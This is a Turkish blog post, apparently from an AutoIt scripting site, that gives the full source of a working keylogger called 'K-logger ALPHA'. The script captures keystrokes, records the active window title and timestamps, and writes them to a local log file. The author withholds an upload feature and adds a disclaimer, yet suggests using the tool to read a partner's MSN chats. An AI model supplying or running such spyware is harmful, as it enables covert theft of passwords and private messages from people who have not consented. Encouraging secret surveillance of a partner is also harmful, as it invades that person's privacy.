Keylogger yapımı, hazır keylogger scripti

Keylogger nedir? bilmeyenler için yazıyorum, basılan tuşları not
alan, kaydeden birşeydir. Keylogger kullanımının amacı ciddi işler için
olmalıdır, paylaştığım bu scripti alıpda bir başkasına ait şeyleri çalma
teşebbüsünde bulunacak kimseler, sakın bu scripti kullanmayın. Çünkü
hile ve 3 kağıtçılıkla elde ettiğiniz şeyden hayır gelmez, eninde
sonunda acısı bir şekilde çıkar. Lütfen daha insancıl yöntemler için
kullanın, örn: sevgilinin seni aldattığını mı düşünüyorsun ? bak
bakalım msnde ne konuşuyor. Bu seferde gidip katil olmayasın sakın ama
neyse ben sorumluluk almıyorum. Bu script test amaçlı yayınlanmıştır,
kullanım şekli ve kullanım alanı tamamı ile kullanıcısını alakadar
eder. Ben, veya autoitscript.blogspot.com blog unun sahibi hiç bir
suçlama kabul etmeyecektir. Sözleşmemiz bu vatana millete hayırlı
olsun. Knight online da bir başkasının charını soymak için kullanan
ajdar gibi olsun, çaldığı itemin 10 katını kaybetsin hemde gerçek
hayatta kaybetsin inş. Hadi kolay gelsin Upload kısmını yazan
paylaşmasın, upload yazmamamın nedeni yukarıda yazdığım şey. Kötü amaçlı
kullanılmasını istemediğimden. Autoit versiyonu 3.2.4.9, eski yani hata
çıkarsa fonksiyon ismine bir alt çizgi eklemeniz sorunu çözer.

Scriptin adı: K-logger ALPHA.
Scriptin fonksiyonu: Basılan tuşları algılayıp, kaydetmek.
Scriptin durumu: %80 çalışır durumda.
Eksikleri:
arka arkaya basılan tuşları not alamıyor, örn: 2 kere a ya basıldığında
yani aa basıldığında a olarak kaydediyor, yolu bulunur size kalmış. Çok
seri 50ms nin altında yapılan girdileri yakalamayabilir.
Artıları: Tuş basıldığı anda hangi program aktifse onuda yakalıyor ve not alırken saati tarihide kaydediyor.

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.4.9
Author: 313

Script Function:
Keylogger.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include
#include

Global $dll = DllOpen("user32.dll")
Global $harf, $lastharf
Global $backspace, $enter, $del, $0, $1, $2, $3, $4, $5, $6, $7, $8, $9, $a, $b, $c, $d, $e, $f, $g, $h, $i, $j, $k, $L, $m, $n
Global $o, $p, $q, $r, $s, $t, $u, $v, $w, $x, $y, $z, $NUMPAD0, $NUMPAD1, $NUMPAD2, $NUMPAD3, $NUMPAD4, $NUMPAD5, $NUMPAD6
Global $NUMPAD7, $NUMPAD8, $NUMPAD9
Global $filename = @ScriptDir&"\log.txt", $title, $lasttime, $time, $writetime, $readfirst

While 1

Sleep(49)
keygrab()
getactivewindow()
writethem()

WEnd

Func getactivewindow()
$active = WinGetTitle("","")
$title = $active
$time = _NowTime(4)
EndFunc


Func keygrab()
if _IsPressed("08") Then $harf = "[BACKSPACE]"
if _IsPressed("0D") Then $harf = "[ENTER]"
if _IsPressed("2E") Then $harf = "[DELETE]"
if _IsPressed("09") Then $harf = "[TAB]"
if _IsPressed("20") Then $harf = "[SPACE]"
if _IsPressed("30") Then $harf = "0"
if _IsPressed("31") Then $harf = "1"
if _IsPressed("32") Then $harf = "2"
if _IsPressed("33") Then $harf = "3"
if _IsPressed("34") Then $harf = "4"
if _IsPressed("35") Then $harf = "5"
if _IsPressed("36") Then $harf = "6"
if _IsPressed("37") Then $harf = "7"
if _IsPressed("38") Then $harf = "8"
if _IsPressed("39") Then $harf = "9"
if _IsPressed("41") Then $harf = "a"
if _IsPressed("42") Then $harf = "b"
if _IsPressed("43") Then $harf = "c"
if _IsPressed("44") Then $harf = "d"
if _IsPressed("45") Then $harf = "e"
if _IsPressed("46") Then $harf = "f"
if _IsPressed("47") Then $harf = "g"
if _IsPressed("48") Then $harf = "h"
if _IsPressed("49") Then $harf = "i"
if _IsPressed("4A") Then $harf = "j"
if _IsPressed("4B") Then $harf = "k"
if _IsPressed("4C") Then $harf = "L"
if _IsPressed("4D") Then $harf = "m"
if _IsPressed("4E") Then $harf = "n"
if _IsPressed("4F") Then $harf = "o"
if _IsPressed("50") Then $harf = "p"
if _IsPressed("51") Then $harf = "q"
if _IsPressed("52") Then $harf = "r"
if _IsPressed("53") Then $harf = "s"
if _IsPressed("54") Then $harf = "t"
if _IsPressed("55") Then $harf = "u"
if _IsPressed("56") Then $harf = "v"
if _IsPressed("57") Then $harf = "w"
if _IsPressed("58") Then $harf = "x"
if _IsPressed("59") Then $harf = "y"
if _IsPressed("5A") Then $harf = "z"
if _IsPressed("60") Then $harf = "0"
if _IsPressed("61") Then $harf = "1"
if _IsPressed("62") Then $harf = "2"
if _IsPressed("63") Then $harf = "3"
if _IsPressed("64") Then $harf = "4"
if _IsPressed("65") Then $harf = "5"
if _IsPressed("66") Then $harf = "6"
if _IsPressed("67") Then $harf = "7"
if _IsPressed("68") Then $harf = "8"
if _IsPressed("69") Then $harf = "9"
EndFunc

Func writethem()

if $harf = "" Then Return
If $harf = $lastharf Then Return

$filename = @ScriptDir&"\log.txt"
if $time = $lasttime Then
$writetime = $lasttime
$readfirst = IniRead($filename,$title,$writetime,"")
Else
$writetime = $time
$readfirst = IniRead($filename,$title,$writetime,"")
EndIf
IniWrite($filename,$title,$writetime,$readfirst&$harf)

$lastharf = $harf
$lasttime = $time

EndFunc